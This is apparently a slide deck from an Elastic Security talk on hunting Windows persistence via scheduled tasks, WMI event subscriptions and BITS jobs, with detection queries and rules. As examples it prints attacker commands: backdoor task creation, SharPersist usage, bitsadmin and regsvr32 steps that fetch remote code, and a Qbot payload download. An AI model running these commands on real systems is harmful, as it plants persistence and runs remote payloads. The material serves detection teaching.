




Hunting for persistence using Elastic Security

David French
Security Research Engineer
[@threatpunter](https://twitter.com/threatpunter)

Brent Murphy
Security Research Engineer
[@brent_murphy](https://twitter.com/brent_murphy)



Introductions

Brent Murphy | @brent_murphy



- Security Research Engineer on Intelligence & Analytics team
- Develops SIEM and endpoint behavioral detection logic for emerging threats
- Former Endgame applied R&D on security analyst workflow automation and enrichment
- Co-author of The Elastic Guide to Threat Hunting

Introductions

David French | @threatpunter



- Security Research Engineer on Intelligence & Analytics team
- Analyzes adversary tradecraft to develop detections and hunts
- Contributor to ProblemChild
- Former applied research at Endgame - ML-based file object classifier
- Led hunt and detection strategy at large financial institution

3 solutions powered by 1 stack



Elastic Enterprise Search



Elastic Observability



Elastic Security



Elastic Stack

What is Elastic Security?

Protection against threats with integrated Endpoint Security and SIEM

Endpoint Security

- Prevent, detect, and respond to malicious behavior and malware on Windows, MacOS, and Linux
- Formerly Endgame

SIEM

- Released with Elastic Stack 7.2
- Security event collection, analysis, and threat hunting at scale
- **Free** detection engine and 92 rules

Elastic Stack 7.6

- New machine learning jobs for detection
- New UI features for network and host data analysis



Elastic Security

Endpoint

SIEM

Agenda


- 1 Persistence in a nutshell
- 2 Why do attacker's need persistence?
- 3 What is Event Query Language (EQL)?
- 4 Hunting for persistence with Elastic Security
- 5 Useful resources for threat hunting and detection
- 6 Q&A

What is persistence?

And why do attackers need it?

Why do attackers need persistence?

Establishing persistence can increase an adversary's dwell time



FireEye's Cyber Attack Lifecycle: <https://www.iacpcybercenter.org/resource-center/what-is-cyber-crime/cyber-attack-lifecycle/>

ATT&CK Matrix for Enterprise

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access
Drive-by Compromise	AppleScript	.bash_profile and .bashrc	Access Token Manipulation	Access Token Manipulation	Account Manipulation
Exploit Public-Facing Application	CMSTP	Accessibility Features	Accessibility Features	Binary Padding	Bash History
External Remote Services	Command-Line Interface	Account Manipulation	AppCert DLLs	BITS Jobs	Brute Force
Hardware Additions	Compiled HTML File	AppCert DLLs	AppInit DLLs	Bypass User Account Control	Credential Dumping
Replication Through Removable Media	Component Object Model and Distributed COM	AppInit DLLs	Application Shimming	Clear Command History	Credentials from Web Browser
Spearnishing Attachment	Control Panel Items	Application Shimming	Bypass User Account	CMSTP	Credentials Files



Persistence consists of techniques that attackers use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access.

<https://attack.mitre.org/tactics/TA0003/>

Event Query Language (EQL)

Event Query Language (EQL)

Simple and concise language for security practitioners

- Schema independent and OS agnostic
- Makes it easy to express and find complex behavior
- Designed to be intuitive; easy to read and write
- Match events, generate sequences, stack data, build aggregations, and perform analysis
- Ongoing effort to integrate EQL into the Elastic Stack



Simple Queries

- Boolean and comparison logic
and or not < <= == != >= >
- Wildcard matching with * character
- String comparisons are case-insensitive

```
process where process_name == "svchost.exe" and
(command_line != "* -k *" or
 parent_process_name != "services.exe")
```

Sequences

- Multi-event behaviors with enforced order
- Match properties between events with by syntax
- Sequences are stateful and can be expired with an until condition

```
sequence with maxspan=1m
[file where file_path == "*\\AppData\\*"] by file_path
[process where user_name == "SYSTEM"] by process_path
```

Joins

- Match events specified in any order
- Supports **by** and **until** syntax for additional matching
- Similar to a sequence, but lacks time constraints

join

```
[file where file_path == "*\\System32\\Tasks\\h4xor.xml"]  
[registry where registry_path == "*\\runonce\\h4xor"]
```

Process Lineage

- Natively tracks process lineage by monitoring process creation/termination events and tracking the ppid and pid
- Supports **descendant of**, **child of**, and **event of**
- Combine with other Boolean logic

```
process where process_name == "powershell.exe" and
descendant of
[process where process_name in
  ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe")]
```

Pipes and Outliers

- Pipes can be used to enrich and sort through data
- Combine in various ways to perform stacking or reduce data set

count filter head sort tail unique unique_count

```
process where true
// Remove duplicate pairs
| unique process_name, command_line

// Count per process_name to get unique # of commands
| count process_name
| filter count < 5
```

Hunting for persistence with Elastic Security

Attacker techniques seen in the
wild

Hunting for persistence with Elastic Security

Overview

- Walk through of practical threat hunting use cases for techniques seen in the wild
 - Scheduled Tasks ([T1053](#))
 - WMI Event Subscriptions ([T1084](#))
 - BITS Jobs ([T1197](#))
- How does the technique work?
- Why has the technique been successful for attackers?
- How can you hunt for and detect the technique?
- We'll include useful references for practitioners

Persistence via Scheduled Tasks (T1053)

Scheduled Tasks

Overview

What are they?

- Windows provides a utility (schtasks.exe) which allows one to create, delete, query, change, run, and end tasks on a local or remote computer.


Malicious use

- This kind of behavior has been heavily abused by threat actors as a persistence mechanism since it doesn't require administrator privileges.

3rd party software

- Legitimate scheduled tasks may be created during installation of new software.

Legitimate scheduled task




Scheduled Tasks

Command line parameters

- Command line switches to be aware of
 - **/Create** - creates a new scheduled task
 - **/RU** - specifies the "run as" user account
 - **/SC** - specifies the schedule frequency
 - **/TN** - specifies the string in the form of path\name which uniquely identifies this scheduled task
 - **/TR** - specifies the path and file name of the program to be run at the scheduled time
 - **/F** - forcefully creates the task and suppresses warnings if the specified task already exists

```
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr  
c:\some\directory\revshell.exe
```

Least common occurrences



endgame.process_name:	endgame.command_line:	endgame.parent_process_name: Count
Descending	Descending	Descending
schtasks.exe	schtasks /delete /tn Windiws /f	cmd.exe 1
schtasks.exe	SCHTASKS /CREATE /SC MINUTE /TN "Windiws" /TR "C:\tmpischeduler.bat"	cmd.exe 2
schtasks.exe	schtasks /s 172.16.66.4 /delete /tn test_task-6852 /f	python.exe 2
schtasks.exe	schtasks /s 172.16.66.4 /delete /tn test_task-880 /f	python.exe 2
schtasks.exe	C:\Windows\system32\schtasks.exe /delete /f /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader"	wsqmcons.exe 130

Scheduled Tasks

PowerShell cmdlets

- Alternatively, PowerShell can be used to create scheduled tasks that will be executed at logon or at a specific time and date.
- Several cmdlet variations to be aware of
 - `New-ScheduledTaskAction`
 - `New-ScheduledTaskTrigger`
 - `New-ScheduledTaskPrincipal`
 - `New-ScheduledTaskSettingsSet`
 - `Register-ScheduledTask`

Powershell Event		POWERSHELL
Powershell Event		Jan 30, 2020 9:52:14 PM UTC
Event Type	PS Script Block Event	
Header	Creating Scriptblock text (1 of 1):	
Message	\$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"	
Process Path	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	
Process ID	8304	

```
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

Scheduled Tasks

C# tool

- SharPersist
 - Windows persistence toolkit written in C#
- Usage
 - Adding backdoor
 - Setting Type/Frequency

```
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe"  
-a "/c C:\tmp\payload.exe" -n "Payload" -m add
```

```
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c  
C:\tmp\payload.exe" -n "Payload" -m add -o logon
```

```
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c  
C:\tmp\payload.exe" -n "Payload" -m add -o hourly
```

Arguments/Options

- -t - persistence technique
- -c - command to execute
- -a - arguments to command to execute (if applicable)
- -f - the file to create/modify
- -k - registry key to create/modify
- -v - registry value to create/modify
- -n - scheduled task name or service name
- -m - method (add, remove, check, list)
- -o - optional add-ons
- -h - help page


Persistence Techniques (-t)

- `keepass` - backdoor keepass config file
- `reg` - registry key addition/modification
- `schtaskbackdoor` - backdoor scheduled task by adding an additional action to it
- `startupfolder` - lnk file in startup folder
- `tortoisesvn` - tortoise svn hook script
- `service` - create new windows service
- `schtask` - create new scheduled task

Methods (-m)

- `add` - add persistence technique
- `remove` - remove persistence technique
- `check` - perform dry-run of persistence technique
- `list` - list current entries for persistence technique

APT34 using a Scheduled Task to establish persistence



Process

PROCESS TERMINATED

schtasks.exe

Created: Jan 16, 2020 8:29:13 PM UTC
Terminated: Jan 16, 2020 8:29:13 PM UTC

Respond

Path	C:\Windows\System32\schtasks.exe
User	llang
PID	3792
Domain	3B
MD5	0f08569e1922e9f82da37a2a12f0fd9f
PPID	5668
Command Line	<pre>schtasks /create /F /sc minute /mo 1 /tn "\WindowsAppPool\AppPool" /tr "wscript /b "C:\ProgramData\WindowsAppPool\AppPool.vbs""</pre>

Hunting for Scheduled Tasks

Using EQL


- Search for the creation of tasks spawning from uncommon processes.

```
process where subtype.create and
process_name == "schtasks.exe" and
descendant of
[process where process_name in ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe",
"wmic.exe", "mshta.exe", "powershell.exe")] and
command_line == "* /create*" and
wildcard(command_line, "*/RU*", "*/SC*", "*/TN*", "*/TR*", "*/F*")
| unique command_line
```

<input type="checkbox"/> <u>ALERT TYPE</u>	<u>EVENT TYPE</u>
<input type="checkbox"/> Persistence Detection	Scheduled Task Spawning from Uncommon Process
<input type="checkbox"/> Malicious File Detection	Open

Hunting for Scheduled Tasks

Using Elastic Endpoint Security



START INVESTIGATION

Configure your profile and launch your hunts.

Selecting Hunt(s)

Select the hunt type(s) you want to task on the endpoints selected.

HUNT TYPE

- Firewall Rules
- IOC Search ADVANCED
- Loaded Drivers
- Network ADVANCED
- Persistence COLAPSE
- Process ADVANCED
- Registry ADVANCED
- Removable Media
- System Configuration
- Users


ADVANCED CONFIGURATION

- Network Provider
- Codec
- Logon
- Winsock Provider
- Boot Execute
- Com Hijack
- Explorer
- Scheduled Task
- Phantom DLL
- Search Order Hijack


Cancel **Confirm Hunts**

Hunting for Scheduled Tasks

Using Elastic SIEM



The screenshot shows the Elastic SIEM interface with a search bar containing the query: `process.name: "schtasks.exe" AND process.args: "/create"`. The search results table has columns: @timestamp, message, event.category, event.action, host.name, and source.ip. The table shows a single event from Jan 14, 2020, at 18:09:10.000, which is a process creation event for schtasks.exe (process ID 10760) via parent process cmd.exe (process ID 5880). The event details show the command line: `wscript /b C:\ProgramData\WindowsAppPool\AppPool.vbs`.



The screenshot shows the 'Create new rule' wizard in the Elastic SIEM interface, currently on step 1: Define rule. The rule is defined with the following parameters:

- Index patterns:** endgame-* | winlogbeat-*
- Custom query:** `process.name : "schtasks.exe" and process.args : "/create"`

On step 2: About rule, the rule is named "Scheduled Task Creation" with a risk score of 21. The description is: "Identifies creation of scheduled tasks via the command line." The tags are T1053. On step 3: Schedule rule, the rule runs every 5 minutes. The additional look-back time is 1 minute. At the bottom, there are buttons for "Create rule without activating it" and "Create & activate rule".

Other Scheduled Task considerations

Closing thoughts...

- What we covered is just the tip of the iceberg
- There are multiple ways to schedule a task -
 - Command line interface
 - PowerShell cmdlets
 - AT command (deprecated with Windows 8.1 but it still exists for backwards compatibility)
 - .job files
 - Custom scripts (WHILE loop)
 - 3rd party tools
- You are encouraged to research the other techniques to develop detection logic for your environment

Other Scheduled Task considerations

Closing thoughts...

- One of the most common mechanisms that adversaries use for persistence
- Scheduled tasks can also be used during other phases of an attack (Execution and Privilege Escalation)
- Defenders need visibility into process and file telemetry, command line parameters, and Windows Event logs
- Subscribe to ETW logs to collect PowerShell cmdlets and scriptblock events
- Elastic Security provides scheduled task telemetry, detections, and threat hunting capabilities for Scheduled Tasks at enterprise scale

Persistence via WMI Event Subscriptions (T1084)

What is Windows Management Instrumentation (WMI)?

And why is it abused by attackers?

- WMI is Microsoft's implementation of the WBEM framework
- Very powerful for querying and managing many aspects of Windows
- Built-in to Windows - attackers can “live off the land”
- Why have attacks involving WMI been successful?
 - Lack of monitoring or visibility to WMI events
 - Difficulty separating the signal from the noise

```
Administrator: Windows PowerShell
PS C:\Users\Administrator> wmic /node:172.16.66.1 process list brief
HandleCount  Name          Priority  ProcessId  ThreadCount  WorkingSetSize
0           System Idle Process  0          0          2          8192
2031        System          8          4          753        147456
```

Understanding WMI event subscriptions

And how they can be abused...

EventFilter

A condition that you test for. *E.g. A particular time and day of the week*

EventConsumer

An action to execute when the `_EventFilter` condition is met. *E.g. Execute a script*


FilterToConsumerBinding

Links the event filter and consumer instance together

Example Subscription

EventFilter tests if system uptime is between 240 and 325 seconds

EventConsumer executes malicious PowerShell script when EventFilter condition is true



WMI Query Language (WQL) Query:

```
SELECT * FROM _InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA
'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 240 AND
TargetInstance.SystemUpTime < 325
```

Hunting for WMI persistence

Using EQL

- Search for the creation of an EventFilter, EventConsumer, and FilterToConsumer binding from the same unique PID


`join by unique_pid`

```
[wmi where properties.Operation == "*IwbemServices::PutInstance*EventFilter*"]
[wmi where properties.Operation == "*IwbemServices::PutInstance*EventConsumer*"]
[wmi where properties.Operation == "*IwbemServices::PutInstance*FilterToConsumerBinding*"]
```

ALERT TYPE	EVENT TYPE	ASSIGNEE	OS	IP
<input type="checkbox"/> Persistence Detection	WMI FilterToConsumer Binding Creation	<u>Unassigned</u>	Windows 10 (v1809)	172.17.0.1
<input type="checkbox"/> Execution Detection	PowerShell with Unusual Arguments	<u>Unassigned</u>	Windows 10 (v1809)	172.17.0.1

Investigating WMI abuse

Using Resolver in Elastic Endpoint Security




Child events spawning from: **powershell.exe** (Feb 4, 2020 12:32:44 AM UTC)

View: WMI 7

Event Type	Microsoft-Windows-WMI-Activity
Is Local	
Client Process ID	4988
Message Detail	
Path	
Provider Name	
Namespace	\.\root\subscription
Operation	Start IWbemServices::PutInstance - __FilterToConsumerBinding.Consumer="Com mandLineEventConsumer.Name=\\"checkfor updates\\"",Filter=__EventFilter.Name= \\"checkforupdates\\"",

Hunting for WMI persistence

Using Elastic Endpoint Security



Hunting for WMI persistence

Using Elastic SIEM

The screenshot shows the Elastic SIEM interface with the following details:

- Search Bar:** winlog.record_id: "5861" (highlighted with a red box)
- Filter:** AND Filter (highlighted with a red box)
- Event List:** The table shows the following columns: Columns, @timestamp, message, event.category, event.action, host.name, and source. The message column contains the following event details:
 - event.module: winlog
 - event.type: Informational
 - event.level: Informational
 - event.category: PowerShell/Operational
 - event.action: Start
 - host.name: 87212w-win10.threebeesco.com
 - source: Microsoft-Windows-PowerShell/Operational
 - message: Application = powershell -nop -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwB JAG8AbgBUAGEAqgBsAEUALgBQAF MAVgBFAHIAUwBpAG8ATgAuAE0AQQ BqAG8AUgAgAC0AZwBIACAMwApA HsAJABHAFaarRgA9AFsAUgBIAEYAX QAUAEAAUwBzAEUATQbIAEwAeQAUA

Hunting for WMI persistence

Creating a rule in the Elastic SIEM

Create new rule BETA

Define rule Edit

Index patterns `winlogbeat-*`

Custom query
`winlog.record_id: 5861`

About rule Edit

Name Persistence via WMI FilterToConsumer Binding

Risk score 75

Description
An adversary may attempt to establish persistence on a Windows endpoint by creating a WMI FilterToConsumer binding. A WMI EventFilter is a condition that is tested for. E.g. A particular time and day of the week. A WMI EventConsumer is an action to execute when the EventFilter condition is met. E.g. Execute a script. The FilterToConsumerBinding links the event filter and consumer instance together.

Severity
● High

Investigate detections using this timeline template
Default blank timeline

MITRE ATT&CK™
Persistence (TA0003)
└ Windows Management Instrumentation Event Subscription (T1084)

WMI Event Subscriptions are the tip of the iceberg

Other WMI considerations

- Attackers may attempt to hide their persistence in the hierarchy of WMI namespaces and classes
- WMI can be used during other phases of an attack
- Defenders need visibility to WMI telemetry and to understand offensive techniques
- Elastic Security provides WMI telemetry, detections, and threat hunting capabilities at enterprise scale

Devon Kerr. There's Something About WMI. <https://youtu.be/lCII2uV8u1c?t=273>

Matt Graeber. Abusing WMI to Build a Persistent, Asynchronous, and Fileless Backdoor. <https://bit.ly/31degLc>

Persistence via BITS Jobs (T1197)

BITS Job

Overview

What?

Background Intelligent Transfer Service (BITS) is used to download files from or upload files to HTTP web servers or SMB file servers.

Utilities

Microsoft provides a binary called “bitsadmin” and PowerShell cmdlets for creating and managing the transfer of files.

Usage

Many popular applications use BITS to download updates in the background, including Windows updates.

```
C:\WINDOWS\system32\bitsadmin /list /allusers /verbose

BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.

GUID: {5D730209-25E8-4237-82F6-C52369D75AC4} DISPLAY: 'backdoor'
TYPE: DOWNLOAD STATE: TRANSFERRED OWNER: DESKTOP-00E4SGQ\James
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 273920 / 273920
CREATION TIME: 1/13/2020 11:51:22 AM MODIFICATION TIME: 1/13/2020 11:51:27 AM
COMPLETION TIME: 1/13/2020 11:51:27 AM ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
RETRY DELAY: 600 NO PROGRESS TIMEOUT: 1209600 ERROR COUNT: 0
PROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
DESCRIPTION:
JOB FILES:
    273920 / 273920 WORKING C:\WINDOWS\system32\cmd.exe -> C:\Users\James\AppData\Local\Temp\regsvr32.exe
NOTIFICATION COMMAND LINE: 'regsvr32.exe' '/u /s /i:https://raw.githubusercontent.com/James/Windows-Exploit-Samples/main/Windows/Security/BITS/Backdoor/Backdoor.exe'
owner MIC integrity level: MEDIUM
owner elevated ?           false

Peercaching flags
    Enable download from peers      :false
    Enable serving to peers        :false

CUSTOM HEADERS: NULL
```

BITS Job

Command line parameters

- Command line switches to be aware of
 - `/create` - creates a transfer job with the given display name
 - `/addfile` - adds a file to the specified job
 - `/resume` - activates a new or suspended job in the transfer queue
 - `/transfer` - transfers one or more files
 - `/SetNotifyCmdLine` - sets the command that will run when the job finishes transferring data or when a job enters a state
 - `/SetMinRetryDelay` - sets the minimum length of time, in seconds, that BITS waits after encountering a transient error before trying to transfer the file

```
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s
/i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
```

Process

PROCESS TERMINATED

bitsadmin.exe

Created: Jan 21, 2020 2:54:51 PM UTC
Terminated: Jan 21, 2020 2:54:51 PM UTC

Respond

Path	C:\Windows\System32\bitsadmin.exe
User	vagrant
PID	6864
Domain	ENDPOINT-W-8-04
MD5	d18735c34c98ab2b45f9d1e3f59cbfd3
PPID	8468
Command Line	bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"

BITS Job

PowerShell cmdlets

- Several cmdlet variations to be aware of
 - `Add-BitsFile` - add one or more files to a BITS transfer
 - `Complete-BitsTransfer` - completes a BITS transfer job
 - `Get-BitsTransfer` - gets the associated object for a transfer job
 - `Remove-BitsTransfer` - cancels a BITS transfer job
 - `Resume-BitsTransfer` - resumes a suspended BITS transfer job
 - `Set-BitsTransfer` - modifies the properties of a BITS transfer job
 - `Start-BitsTransfer` - create and start a BITS transfer job
 - `Suspend-BitsTransfer` - suspend a BITS transfer job

Powershell Event		POWERSHELL
Powershell Event		
Jan 31, 2020 3:21:30 PM UTC		
Event Type	PS Script Block Event	
Header	Creating Scriptblock text (1 of 1):	
Message	Start-BitsTransfer -Source "http://www.toteslegit.com/payload.exe" -Destination "C:\tmp\payload.exe"	
Process Path	C:\Windows\System32\WindowsPowerShell\1.0\powershell.exe	
Process ID	3132	

```
Start-BitsTransfer -Source "http://www.toteslegit.com/payload.exe" -Destination "C:\tmp\payload.exe"
```

Hunting for BITS Jobs

Using EQL

- Searching for bitsadmin.exe with command line parameters that could be used for persistence.

```
process where subtype.create and
  process_name == "bitsadmin.exe" and
  wildcard(command_line, "*Transfer*", "*Create*", "*AddFile*", "*SetNotifyCmdLine*",
           "*SetMinRetryDelay*", "*Resume*")
| unique command_line
```

EQL Query

For guidance on how to construct an EQL query, see [Event Query Language \(EQL\) Overview](#) →.

OS Type: Windows Mac Linux

1. process where subtype.create and
2. process_name == "bitsadmin.exe" and
3. wildcard(command_line, "Transfer", "Create", "AddFile", "SetNotifyCmdLine",
4. "SetMinRetryDelay", "Resume")
5. | unique command_line

✓ Validated & Ready to Submit

BITS Job

Reflex Response

Enable Reflex Response(s)

Yes, I'd like to enable Reflex Response(s) for this rule


No, I do not want to enable Reflex Response(s) for this rule

Add Reflex Response(s) ⓘ

Event 0: **Process**


```
process where subtype.create and process_name == "bitsadmin..." ⓘ
```

Kill Process



Hunting for BITS persistence


Using Elastic Endpoint Security



ENDPOINT	VERSIONINFO NAME	CATEGORY	SOURCE	ARGUMENT	FULL PATH
endpoint-w-8-04	scrobj.dll	bits	backdoor	https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct	C:\Windows\system32\scrobj.dll

Hunting for BITS

Using Elastic SIEM



process.name: "bitsadmin.exe" AND event.action: "creation_event"

Drop here to build an OR query

AND Filter

Columns	@timestamp	message	event.category	event.action	host.name	source.ip	destination.ip	user.name
Feb 5, 2020 at 21:29:24.000	—	process	creation_event	02694w-win10	—	—	—	lgreen
		lgreen 3B @ 02694w-win10 started process > bitsadmin.exe (1256) C:\Windows\System32\btsadmin.exe /transfer qahdejob24 /Priority HIGH						
		http://portia.msftsoft.com/widgetcontrol.png?bg=sp28&os=TWjcmzb2Z0fdpbmRvd3MgMTAgRW50ZXJwcmrZ200NCg0NCg0NCg=&av=RW5kZ2F1Zwx0FXaW5k3dzlERlZmVuZGVyfDB8MQ==						
		C:\Users\lgreen\AppData\Local\Temp\132948561.41.exe						
		# c075d1fbfa4e553586f5fa4e139597d40601cb5d316e05f31976dbc264018af						
		# 4d9d623d827a7b0560570bec4a63c380a75fe919						
		# ed5e872610fca4bcea2047e63b813f3						

Table JSON View

process.args

Field	Value	Description
process.args	C:\Windows\System32\btsadmin.exe /transfer qahdejob24 /Priority HIGH http://portia.msftsoft.com/widgetcontrol.png?bg=sp28&os=TWjcmzb2Z0fdpbmRvd3MgMTAgRW50ZXJwcmrZ200NCg0NCg0NCg=&av=RW5kZ2F1Zwx0FXaW5k3dzlERlZmVuZGVyfDB8MQ==	

Create new rule

BETA

1 Define rule

Index patterns

apm-* transaction*, auditbeat-* endgame-* filebeat-*
packetbeat-* winlogbeat-*

Custom query

```
process.name : "bitsadmin.exe" and process.args : ("create" or "transfer" or "AddFile" or "SetNotifyCmdLine" or "SetMinRetryDelay" or "/resume")
```

2 About rule

Name
Bitasmin Job Creation

Description
Bitasmin Job Creation

Severity
Low

Risk score
50

Investigate detections using this timeline template
Default blank timeline

MITRE ATT&CK™
Persistence (TA0003)
↳ BITS Jobs (T1197)

3 Schedule rule

Runs every
5 Minutes

Rules run periodically and detect signals within the specified time frame.

Additional look-back time Optional
1 Minutes

Adds time to the look-back period to prevent missed signals.

[Create rule without activating it](#) [Create & activate rule](#)

Closer look...

Qbot banking trojan utilizing bitsadmin

```
1 C:\Windows\System32\bitsadmin.exe
//living off the land, previous versions of Qbot used PowerShell

2 /transfer qahdejob24 /Priority HIGH
//randomly named job with high priority


3 hxxp://portla.mlsoft.com/widgetcontrol.png?bg=sp28&os=Tl1jcm9zb2Z0IFdpbmRvd3Mg
MTAgRW50ZXJwcmlzzQ0NCg0NCg0NCg0NCg==&av=Rw5kZ2FtZXwxfdfXaW5kb3dzIER1ZmVuZGVyfDB
8MQ==
//stage two payload downloaded from C2 (widgetcontrol.png is actually an exe)
//checks operating system version and for common AV strings

4 C:\Users\lgreen\AppData\Local\Temp\132948561.41.exe
//persistence location - appdata path with randomized binary name
```

Others BITS and pieces

Closing thoughts...

- BITS jobs are typically used to evade defenses and/or establish persistence by living off the land
- Not as common as scheduled tasks
- Defenders need visibility into process, API, and Windows event logs
- Microsoft_Windows_Bits_Client_Operational.evt x log
- Elastic Security provides telemetry, detections, and threat hunting capabilities for BITS at enterprise scale



The screenshot shows the Elastic Stack interface with a search bar containing the query "host.name: \"87212w-win10\" AND event.provider: \"Microsoft-Windows-Bits-Client\"". The results table lists various Windows event log entries, with the "jobTitle" field highlighted in red. The table includes columns for @timestamp, winlog.event_data.jobTitle, and message.

winlog.event_data.jobTitle	message
Microsoft-Windows-Bits-Client/Operational	
87212w-win10.threebeesco.com	
{85bf9d5e-254c-4e3e-8b11-7f9c70f6b561}	
87212W-WIN10\Administrator	
backdoor	
3288	
C:\Windows\System32\bitsadmin.exe	
3	
Info	
10012	
9472	
{ef1cc15b-46c1-414e-bb95-e76b077bd51e}	
Microsoft-Windows-Bits-Client	

Conclusion

An attacker's persistence can be their Achilles' heel

- Many persistence techniques exist, but detecting them is not impossible
- Learning how to hunt for and detect the most popular techniques can yield positive results
- You **do not** have to detect every technique in the MITRE ATT&CK matrix
- Elastic Security enables you to prevent, detect, respond, and hunt for malicious behavior at scale
 - Numerous protections and detections mapped to ATT&CK
 - Event Query Language (EQL) - query streaming or stored events to hunt for malicious behavior at scale

Useful Resources

To learn more about Elastic Security, EQL, and threat hunting

- Next week: Download *The Elastic Guide to Threat Hunting*
- Learn more about Elastic Security: <https://www.elastic.co/security>
- Getting started with EQL: <https://ela.st/eql-getting-started>
- EQL Analytics Library: <https://ela.st/eqllib>
- Join our community Slack workspace: <https://ela.st/slack>



Q&A

- Visit Elastic at RSA booths #1427 and #2227, South Moscone
- Join our discussion forums: <https://discuss.elastic.co>
- Join our community Slack workspace: <https://ela.st/slack>

David French | [@threatpunter](https://twitter.com/threatpunter)
Brent Murphy | [@brent_murphy](https://twitter.com/brent_murphy)